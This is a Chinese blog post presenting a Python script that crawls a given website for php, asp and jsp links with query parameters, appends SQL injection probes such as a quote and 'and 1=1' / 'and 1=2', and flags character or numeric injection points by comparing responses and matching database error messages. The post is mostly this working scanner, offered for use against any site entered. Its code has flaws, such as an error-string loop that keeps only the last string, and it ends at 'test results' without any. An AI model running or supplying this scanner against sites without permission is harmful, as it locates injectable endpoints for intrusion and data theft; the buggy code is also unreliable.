python打造一个分析网站SQL注入的脚本

前言：

昨天晚上其实就已经写完代码。只不过向FB投稿了，打算延迟一晚上在写博客

所有才到今天早上写。好了，接下来进入正题。

思路：

1.从网站源码中爬取那些类适于:http://xxx.com/xx.php?id=xxx的链接

2.将这些爬取到的链接写入一个URL

3.加入payload

4.用正则过滤掉一些残缺不全的链接

5.将一些报错语句加入一个列表

6.从报错的语句中寻找错误

7.判断字符型注入或数字型注入

代码：

 import requests,re,time,os
 from tqdm import tqdm
 from bs4 import BeautifulSoup
 def zhuru():
     global x,headers,ps
     user=input('[+]Please enter the URL you want to test:') #用户输入要检测的网站
     url="{}".format(user.strip()) #去除两边的空格
     headers={'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36'}
     request=requests.get(url,headers) #浏览器头
     shoujiurl=[] #创建一个收集URL链接的列表
     rse=request.content
     gwd=BeautifulSoup(rse,'html.parser')
     php=gwd.find_all(href=re.compile(r'php\?')) #寻找后缀名为php的链接
     asp=gwd.find_all(href=re.compile(r'asp\?')) #寻找后缀名为asp的链接
     jsp=gwd.find_all(href=re.compile(r'jsp\?')) #寻找后缀名为jsp的链接
     print('[+]Collection URL ')
     for i in tqdm(range(1,500)): #进度条
         time.sleep(0.001) #进度条
     for lk in php:
         basd=lk.get('href') #提取其中的链接
         shoujiurl.append(basd) #加入列表
     for ba in asp:
         basd2=ba.get('href') #提取其中的链接
         shoujiurl.append(basd2) #加入列表
     for op in jsp:
         basd3=op.get('href') #提取其中的链接
         shoujiurl.append(basd3) #加入列表
     print('[+]Collection completed')

     huixian=[]
     huixian1 = "is not a valid MySQL result resource"
     huixian2 = "ODBC SQL Server Driver"
     huixian3 = "Warning:ociexecute"
     huixian4 = "Warning: pq_query[function.pg-query]"
     huixian5 = "You have an error in your SQL syntax"
     huixian6 = "Database Engine"
     huixian7 = "Undefined variable"
     huixian8 = "on line"
     huixian9 = "mysql_fetch_array():"

     huixian.append(huixian1)
     huixian.append(huixian2)
     huixian.append(huixian3)
     huixian.append(huixian4)
     huixian.append(huixian5)
     huixian.append(huixian6)
     huixian.append(huixian7)
     huixian.append(huixian8)
     huixian.append(huixian9)
     for g in huixian:
         ps="".join(g) #过滤掉[]

     payload0="'"
     payload1="''"
     payload2="%20and%201=1"
     payload3="%20and%201=2"
     for x in shoujiurl:
         yuan="".join(x) #过滤掉[]
         ssdx="".join(x)+payload0 #添加payload
         ssdx2="".join(x)+payload1
         ssdx3="".join(x)+payload2
         ssdx4="".join(x)+payload3
         pdul=re.findall('[a-zA-z]+://[^\s]*',ssdx) #过滤掉一些残缺不全的链接
         pdul2=re.findall('[a-zA-z]+://[^\s]*',ssdx2)
         pdul3=re.findall('[a-zA-z]+://[^\s]*',yuan)
         pdul4=re.findall('[a-zA-z]+://[^\s]*',ssdx3)
         pdul5=re.findall('[a-zA-z]+://[^\s]*',ssdx4)
         psuw="".join(pdul) #过滤掉[]
         psuw2="".join(pdul2)
         psuw3="".join(pdul3)
         psuw4="".join(pdul4)
         psuw5="".join(pdul5)
         try:
             resg=requests.get(url=psuw,headers=headers,timeout=6)
             resg2=requests.get(url=psuw2,headers=headers,timeout=6)
             resg3=requests.get(url=psuw3,headers=headers,timeout=6)
             resg4=requests.get(url=psuw4,headers=headers,timeout=6)
             resg5=requests.get(url=psuw5,headers=headers,timeout=6)
             if resg.status_code == 200: #判断状态码是否等于200
                 print('[+]The first step is completed, and the goal is to be stable')
                 time.sleep(1)
                 if resg.content != resg2.content and resg3.content == resg2.content:  #判断是不是字符型注入

                     print('[+]Existence of character injection')
                     print(resg3.url)
                     print(resg3.url,file=open('character.txt','a')) #如果是写入脚本
                 elif resg4.content != resg5.content and resg4.content == resg3.content: #判断是不是数字型注入
                     print('[+]Digital injection')
                     print(resg3.url)
                     print(resg3.url,file=open('injection.txt','a')) #如果是写入脚本
                 else: #两者都不是
                     print('[+]Sorry, not character injection')
                     print('[+]Sorry, not Digital injection')
                     print(resg3.url)
                 if ps in str(resg2.content):
                     print('[+]The wrong sentence to be found',ps)
             elif resg.status_code != 200:
                 print('http_stode:',resg.status_code)
                 print('[-]Sorry, I cant tell if there is an injection')
         except:
           pass

 zhuru()

测试结果如下：